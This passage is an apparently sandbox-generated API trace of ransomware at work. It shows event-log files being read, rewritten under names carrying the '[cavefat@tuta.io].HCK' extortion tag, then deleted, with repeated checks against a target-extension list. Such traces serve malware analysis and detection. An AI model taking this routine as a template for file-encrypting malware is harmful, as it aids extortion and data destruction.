(lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0154.482] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0154.482] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.482] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.482] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0154.482] GetLastError () returned 0x0 [0154.482] ReadFile (in: hFile=0x380, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0154.491] WriteFile (in: hFile=0x300, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0154.492] ReadFile (in: hFile=0x380, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.492] WriteFile (in: hFile=0x300, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x128, lpOverlapped=0x0) returned 1 [0154.492] SetEndOfFile (hFile=0x300) returned 1 [0154.492] CloseHandle (hObject=0x300) returned 1 [0154.494] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.494] SetEndOfFile (hFile=0x380) returned 1 [0154.905] CloseHandle (hObject=0x380) returned 1 [0154.905] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0154.905] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx")) returned 1 [0154.905] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0154.905] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0154.905] lstrlenW (lpString=".doc") returned 4 [0154.905] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0154.905] lstrlenW (lpString=".docx") returned 5 [0154.905] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0154.905] lstrlenW (lpString=".pdf") returned 4 [0154.905] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0154.905] lstrlenW (lpString=".xls") returned 4 [0154.905] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0154.905] lstrlenW (lpString=".xlsx") returned 5 [0154.906] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0154.906] lstrlenW (lpString=".ppt") returned 4 [0154.906] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0154.906] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0154.906] lstrlenW (lpString=".zip") returned 4 [0154.906] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0154.906] lstrlenW (lpString=".rar") returned 4 [0154.906] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0154.906] lstrlenW (lpString=".bz2") returned 4 [0154.906] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0154.906] lstrlenW (lpString=".7z") returned 3 [0154.906] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0154.906] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0154.906] lstrlenW (lpString=".dbf") returned 4 [0154.906] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0154.906] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0154.906] lstrlenW (lpString=".1cd") returned 4 [0154.906] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0154.906] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0154.906] lstrlenW (lpString=".jpg") returned 4 [0154.906] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0154.906] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0154.906] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0154.906] lstrlenW (lpString=".doc") returned 4 [0154.906] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0154.906] lstrlenW (lpString=".docx") returned 5 [0154.906] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0154.906] lstrlenW (lpString=".pdf") returned 4 [0154.906] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0154.906] lstrlenW (lpString=".xls") returned 4 [0154.906] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0154.906] lstrlenW (lpString=".xlsx") returned 5 [0154.906] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0154.906] lstrlenW (lpString=".ppt") returned 4 [0154.906] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0154.906] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0154.906] lstrlenW (lpString=".zip") returned 4 [0154.906] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0154.906] lstrlenW (lpString=".rar") returned 4 [0154.906] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0154.906] lstrlenW (lpString=".bz2") returned 4 [0154.906] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0154.906] lstrlenW (lpString=".7z") returned 3 [0154.906] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0154.906] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0154.906] lstrlenW (lpString=".dbf") returned 4 [0154.906] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0154.906] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0154.906] lstrlenW (lpString=".1cd") returned 4 [0154.906] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0154.906] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0154.906] lstrlenW (lpString=".jpg") returned 4 [0154.907] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0154.907] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0154.907] lstrlenW (lpString="Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 49 [0154.907] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0154.907] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=69632) returned 1 [0154.907] CloseHandle (hObject=0x380) returned 1 [0154.907] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx")) returned 0x20 [0154.907] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0154.907] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0154.907] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.907] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.907] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0154.908] GetLastError () returned 0x0 [0154.908] ReadFile (in: hFile=0x380, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0154.910] WriteFile (in: hFile=0x364, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0154.911] ReadFile (in: hFile=0x380, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.912] WriteFile (in: hFile=0x364, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x136, lpOverlapped=0x0) returned 1 [0154.912] SetEndOfFile (hFile=0x364) returned 1 [0154.912] CloseHandle (hObject=0x364) returned 1 [0154.913] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.913] SetEndOfFile (hFile=0x380) returned 1 [0154.914] CloseHandle (hObject=0x380) returned 1 [0154.914] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0154.915] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx")) returned 1 [0154.915] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0154.915] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0154.915] lstrlenW (lpString=".doc") returned 4 [0154.915] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0154.915] lstrlenW (lpString=".docx") returned 5 [0154.915] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0154.915] lstrlenW (lpString=".pdf") returned 4 [0154.915] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0154.915] lstrlenW (lpString=".xls") returned 4 [0154.915] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0154.915] lstrlenW (lpString=".xlsx") returned 5 [0154.915] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0154.915] lstrlenW (lpString=".ppt") returned 4 [0154.915] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0154.915] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0154.915] lstrlenW (lpString=".zip") returned 4 [0154.915] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0154.915] lstrlenW (lpString=".rar") returned 4 [0154.915] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0154.915] lstrlenW (lpString=".bz2") returned 4 [0154.915] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0154.915] lstrlenW (lpString=".7z") returned 3 [0154.915] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0154.915] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0154.915] lstrlenW (lpString=".dbf") returned 4 [0154.915] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0154.915] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0154.915] lstrlenW (lpString=".1cd") returned 4 [0154.915] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0154.916] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0154.916] lstrlenW (lpString=".jpg") returned 4 [0154.916] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0154.916] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0154.916] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0154.916] lstrlenW (lpString=".doc") returned 4 [0154.916] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0154.916] lstrlenW (lpString=".docx") returned 5 [0154.916] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0154.916] lstrlenW (lpString=".pdf") returned 4 [0154.916] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0154.916] lstrlenW (lpString=".xls") returned 4 [0154.916] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0154.916] lstrlenW (lpString=".xlsx") returned 5 [0154.916] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0154.916] lstrlenW (lpString=".ppt") returned 4 [0154.916] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0154.916] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0154.916] lstrlenW (lpString=".zip") returned 4 [0154.916] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0154.916] lstrlenW (lpString=".rar") returned 4 [0154.916] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0154.916] lstrlenW (lpString=".bz2") returned 4 [0154.916] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0154.916] lstrlenW (lpString=".7z") returned 3 [0154.916] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0154.916] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0154.916] lstrlenW (lpString=".dbf") returned 4 [0154.916] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0154.916] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0154.916] lstrlenW (lpString=".1cd") returned 4 [0154.916] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0154.916] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0154.916] lstrlenW (lpString=".jpg") returned 4 [0154.916] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0154.916] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0154.916] lstrlenW (lpString="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 63 [0154.916] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0154.917] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=69632) returned 1 [0154.917] CloseHandle (hObject=0x380) returned 1 [0154.917] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx")) returned 0x20 [0154.917] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0154.917] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0154.917] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.917] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.917] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0154.917] GetLastError () returned 0x0 [0154.918] ReadFile (in: hFile=0x380, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0154.920] WriteFile (in: hFile=0x364, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0154.922] ReadFile (in: hFile=0x380, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.922] WriteFile (in: hFile=0x364, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x152, lpOverlapped=0x0) returned 1 [0154.922] SetEndOfFile (hFile=0x364) returned 1 [0154.922] CloseHandle (hObject=0x364) returned 1 [0154.924] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.924] SetEndOfFile (hFile=0x380) returned 1 [0154.925] CloseHandle (hObject=0x380) returned 1 [0154.925] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0154.925] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx")) returned 1 [0154.925] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0154.925] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0154.925] lstrlenW (lpString=".doc") returned 4 [0154.925] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0154.925] lstrlenW (lpString=".docx") returned 5 [0154.925] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0154.925] lstrlenW (lpString=".pdf") returned 4 [0154.925] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0154.925] lstrlenW (lpString=".xls") returned 4 [0154.925] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0154.925] lstrlenW (lpString=".xlsx") returned 5 [0154.925] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0154.925] lstrlenW (lpString=".ppt") returned 4 [0154.925] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0154.925] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0154.925] lstrlenW (lpString=".zip") returned 4 [0154.925] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0154.925] lstrlenW (lpString=".rar") returned 4 [0154.926] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0154.926] lstrlenW (lpString=".bz2") returned 4 [0154.926] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0154.926] lstrlenW (lpString=".7z") returned 3 [0154.926] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0154.926] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0154.926] lstrlenW (lpString=".dbf") returned 4 [0154.926] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0154.926] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0154.926] lstrlenW (lpString=".1cd") returned 4 [0154.926] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0154.926] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0154.926] lstrlenW (lpString=".jpg") returned 4 [0154.926] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0154.926] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0154.926] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0154.926] lstrlenW (lpString=".doc") returned 4 [0154.926] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0154.926] lstrlenW (lpString=".docx") returned 5 [0154.926] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0154.926] lstrlenW (lpString=".pdf") returned 4 [0154.926] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0154.926] lstrlenW (lpString=".xls") returned 4 [0154.926] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0154.926] lstrlenW (lpString=".xlsx") returned 5 [0154.926] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0154.926] lstrlenW (lpString=".ppt") returned 4 [0154.926] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0154.926] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0154.926] lstrlenW (lpString=".zip") returned 4 [0154.926] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0154.926] lstrlenW (lpString=".rar") returned 4 [0154.926] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0154.926] lstrlenW (lpString=".bz2") returned 4 [0154.926] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0154.926] lstrlenW (lpString=".7z") returned 3 [0154.926] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0154.926] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0154.926] lstrlenW (lpString=".dbf") returned 4 [0154.926] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0154.926] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0154.926] lstrlenW (lpString=".1cd") returned 4 [0154.926] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0154.926] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0154.926] lstrlenW (lpString=".jpg") returned 4 [0154.926] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0154.926] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0154.926] lstrlenW (lpString="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 49 [0154.927] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0154.927] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=69632) returned 1 [0154.927] CloseHandle (hObject=0x380) returned 1 [0154.927] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx")) returned 0x20 [0154.927] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0154.927] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0154.927] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.927] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.927] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0154.927] 